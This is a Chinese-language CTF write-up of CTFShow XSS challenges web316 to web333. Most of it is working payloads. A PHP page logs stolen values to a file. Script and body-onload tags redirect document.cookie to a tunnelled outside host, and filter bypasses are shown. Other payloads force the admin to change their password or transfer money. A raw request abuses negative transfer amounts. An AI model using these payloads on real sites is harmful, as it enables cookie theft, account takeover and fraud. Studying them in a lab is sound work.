做题目前,需要先搭建一个网站,用于接收flag。
这里选择的是php语言。
网页(2.php)代码如下:
大概说一下作用,接收get传递来的参数,并写在flag.txt中
<?php
$flag=$_GET['c'];
$file=fopen('flag.txt','w+');
fwrite($file,$flag);
fclose($file);
?>
因为这里是搭建在本地,所以还需要内网穿透,这里推荐的工具是Cpolar,非常地好用。
参考文章:
web 316
payload语句:
<script>window.location.href='http://4e7a38a.r3.cpolar.top/2.php?c='+document.cookie</script>
过几秒后打开flag.txt文件,可以发现已经得到了flag.
web317
过滤了script
payload语句:
<body onl oad="window.location.href='http://fe6e643.cpolar.top/2.php?c='+document.cookie">
web318
过滤了img
payload语句和317一样
web319
payload和317一样
web320-326
过滤空格
payload语句
<body/onload="window.location.href='http://fe6e643.cpolar.top/2.php?c='+document.cookie">
web327
发件人和收件人都要填写admin,否则会发送失败,网络拥堵。
在信的内容里填写Payload语句
<body onl oad="window.location.href='http://fe6e643.cpolar.top/2.php?c='+document.cookie">
web328
输入用户名
admin
,密码ctfshowdacaiji
登录成功,在用户管理页面即可看到flag。
注册一个账户,在账号哪里填写payload语句,之后用这个账号去登录。
<script>window.location.href='http://fe6e643.cpolar.top/2.php?c='+document.cookie</script>
后台管理员如果查看登录页面,就会触发js代码,把管理员的cookie发送出去。
利用抓包工具修改用户管理界面的cookie,从而获得管理员的权限,查看到flag
web329
抓取到的cookie会快速失效。需要在失效前一步完成所有操作
JS indexof 方法https://www.w3school.com.cn/jsref/jsref_indexOf.asp
payload语句
<script>
$('.laytable-cell-1-0-1').each(function(index,value){
if(value.innerHTML.indexOf('ctfshow{')==0){
window.location.href='http://fe6e643.cpolar.top/2.php?c='+value.innerHTML;
}
});
</script>
web330
多了个修改密码界面,借用这个新功能修改密码
尝试使用之前的admin ctfshowdacaiji登录,登录失败,尝试修改管理员密码。
这次触发script语句的地方在用户名那里。
注册一个账号,用户名是payload语句,密码随便写,比如123。
<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>
之后用这个账号和密码去登录一下。登录完成后,管理员admin的密码就被成功修改成123了,此时即可成功登录。
web331
这次改成了post提交修改密码
注册一个账号,用户名和密码全部填写成payload
payload语句:
<script>$.ajax({url:'http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}});</script>
web332-333
看了大佬的解法,这里的转账汇款存在逻辑漏洞,可以转负值。可以直接通过转负值给自己加钱。
转账的数据包:
POST /api/amount.php HTTP/1.1
Host: 4d7c45ce-f143-4223-9112-c8b9252ee7ee.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://4d7c45ce-f143-4223-9112-c8b9252ee7ee.challenge.ctf.show/transfer.php
Cookie: PHPSESSID=o5fl99p64lkmj65shn593sqd4i
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 16
u=test&a=1000000
或者,通过xss,让管理员admin给自己转钱。
先注册一个正经账号,用户名叫xxx
,密码123
之后再注册一个带payload语句的账号。
payload语句:
<script>$.ajax({url:'http://127.0.0.1/api/amount.php',type:'post',data:{u:'xxx',a:'10000'}});</script>
web333和上面一样的做法,不过这里就不可以转负数金额了。
标签:语句,XSS,http,密码,flag,CTFShow,php,payload From: https://www.cnblogs.com/xjy881/p/16739291.html